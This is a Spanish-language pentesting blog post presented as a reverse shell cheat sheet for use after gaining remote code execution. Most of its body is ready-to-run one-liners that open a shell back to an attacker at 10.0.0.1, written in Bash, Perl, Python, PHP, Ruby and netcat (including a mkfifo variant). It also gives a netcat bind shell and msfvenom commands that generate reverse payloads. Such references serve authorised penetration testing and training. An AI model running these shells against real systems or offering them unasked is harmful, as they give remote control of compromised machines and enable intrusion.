· Pablo Plaza Martínez · herramientas  · 4 min read

Reverse Shell - Cheat Sheet

Recopilación actualizada de las reverse shells más comunes y útiles en pentesting. Incluye Bash, Perl, Python, PHP, Ruby, Netcat y bind shells. También payloads generados con msfvenom y herramientas modernas. Perfecto para post-explotación tras obtener RCE.

Recopilación actualizada de las reverse shells más comunes y útiles en pentesting. Incluye Bash, Perl, Python, PHP, Ruby, Netcat y bind shells. También payloads generados con msfvenom y herramientas modernas. Perfecto para post-explotación tras obtener RCE.

Una vez obtenido RCE siempre es el objetivo de un pentester llegar a obtener una Remote Shell. Las podemos conseguir en muchos lenguajes asi que dependiendo de a que nos enfrentamos podemos optar por una u otra. En este cheat sheet dejaremos algunas. Para la utilización de las siguientes consolas remotas necesitaremos que el lenguaje utilizado este instalado en la máquina víctima.

Cheat-Sheet / Notas :

  • Reverse Shell- Bash shell:

    Una reversa utilizando bash, funciona en los sistemas linux bastante antiguos. Lanzaremos la bash por el protocolo tcp a la ip 10.0.0.1 y puerto 8080
    En la maquina del atacante:

 nc -lvp 8080 
En la maquina de la víctima: 
 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 
  • Reverse Shell- Perl:

    Una reversa utilizando el lenguaje de scripts Perl, no es tan común que el sistema cuente con este lenguaje instalado. Ejecutaremos la shell /bin/sh creando un socket por el protocolo tcp a la ip 10.0.0.1 y puerto 1234
    En la máquina del atacante:

 nc -lvp 1234 
En la máquina de la víctima: 
 perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 
  • Reverse Shell- Python:

    Una reversa utilizando el lenguaje de scripts Python, este lenguaje de scripting es de los mas famosos e incluso viene instalado en la mayoría de las distribuciones. Ejecutaremos la shell /bin/sh creando un socket por el protocolo tcp a la ip 10.0.0.1 y puerto 1234
    En la máquina del atacante:

 nc -lvp 1234 
En la máquina de la víctima: 
 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 
  • Reverse Shell- PHP:

    Una reversa utilizando el lenguaje PHP. Este lenguaje es de sobra conocido y esta instalado en la mayoría de servidores y distribuciones. Ejecutaremos la shell /bin/sh creando un socket por el protocolo tcp a la ip 10.0.0.1 y puerto 1234
    En la máquina del atacante:

 nc -lvp 1234 
En la máquina de la víctima: 
 php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' 
  • Reverse Shell- Ruby:

    Una reversa utilizando el lenguaje Ruby. Este lenguaje de scripting esta en auge y en el mundo del pentesting es conocido por su uso en Metasploit-Framework. A pesar de esto no es tan común encontrarlo. Ejecutaremos la shell /bin/sh creando un socket por el protocolo tcp a la ip 10.0.0.1 y puerto 1234
    En la máquina del atacante:

 nc -lvp 1234 
En la máquina de la víctima: 
 ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 
  • Reverse Shell- Netcat:

    Una reversa utilizando el tan conocido Netcat. Este software esta presente en casi todas las distribuciones y es la manera mas sencilla de obener reversa. Aun así en los sistemas en producción no suele estar disponible.
    En la máquina del atacante:

 nc -lvp 1234 
En la máquina de la víctima: 
 nc -e /bin/sh 10.0.0.1 1234 
En el caso de **Netcat** podemos encontrarnos el caso de que este instalada una versión de **Netcat** que no soporte la opción _\-e_, entonces usaremos el siguiente comando en vez del antes indicado: 
 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f 
  • Bind Shell- Netcat:

    Una bind shell utilizando Netcat. Una bind shell se diferencia de la reversa en que la escucha se realiza en la máquina víctima. Para el ejemplo la ip de la víctima será la 10.10.10.2
    En la máquina de la víctima:

 nc -lvp 1234 -e /bin/sh 

En la máquina del atacante:

 nc 10.10.10.2 1234 

Existen herramientas para la creación del código para nuestras reversas:

- ## Metasploit:

**Metasploit-Framework** tiene la herramienta **Msvenom** que permite crear payloads en diferentes lenguajes. Algunos ejemplos:  
Reversa en **python**: 
 msfvenom -p cmd/unix/reverse_python LHOST=(Attacker-Ip) LPORT=(Attacker port) -f raw > reverse.py 
Reversa en **php**: 
 msfvenom -p php/meterpreter/reverse_tcp LHOST=(Attacker-Ip) LPORT=(Attacker port) -f raw > reverse.php 
  • ShellReverse:

    ShellReverse es una herramienta escrita en powershell. El enlace de la herramienta que lleva al Github del autor se encuentra en la sección de herramientas.
    Con ella podemos obtener shell en los siguientes lengujes:

    Perl Python Python3 Ruby PHP Java Bash Netcat PowershellTCP PowerrshellUDP PowershellICMP

    Veremos un ejemplo y para mas información acceded al github de la herramienta.
    Shell en php:

Herramientas:
Netcat, ShellReverse, Metasploit

Referencias:

Back to Blog

Related Posts

View All Posts »
Reverse Shell - Cheat Sheet

Reverse Shell - Cheat Sheet

Updated compilation of the most common and useful reverse shells in pentesting. Includes Bash, Perl, Python, PHP, Ruby, Netcat, and bind shells. Also includes payloads generated with msfvenom and modern tools. Perfect for post-exploitation after obtaining RCE.

Commands in Windows to obtain shell

Commands in Windows to obtain shell

Compilation of techniques for obtaining shell access in Windows after RCE. Includes in-memory PowerShell, Powercat, Regsvr32, HTA, Cscript, MSBuild, WMIC, Certutil, and tests against Windows Defender.

Comandos en Windows para obtener shell

Comandos en Windows para obtener shell

Recopilación de técnicas para obtener shell en Windows tras RCE. Incluye PowerShell en memoria, Powercat, Regsvr32, HTA, Cscript, MSBuild, WMIC, Certutil y pruebas contra Windows Defender.

WriteUp - CTF UPSA 2020

WriteUp - CTF UPSA 2020

Resolución completa de la máquina propuesta en el UPSA CTF 2020 (TryHackMe): explotación de LFI con wrappers PHP para leer código fuente, subida de webshell vía race condition en phpinfo() y envenenamiento de logs, y escalada a root abusando de un script setuid vulnerable a command injection.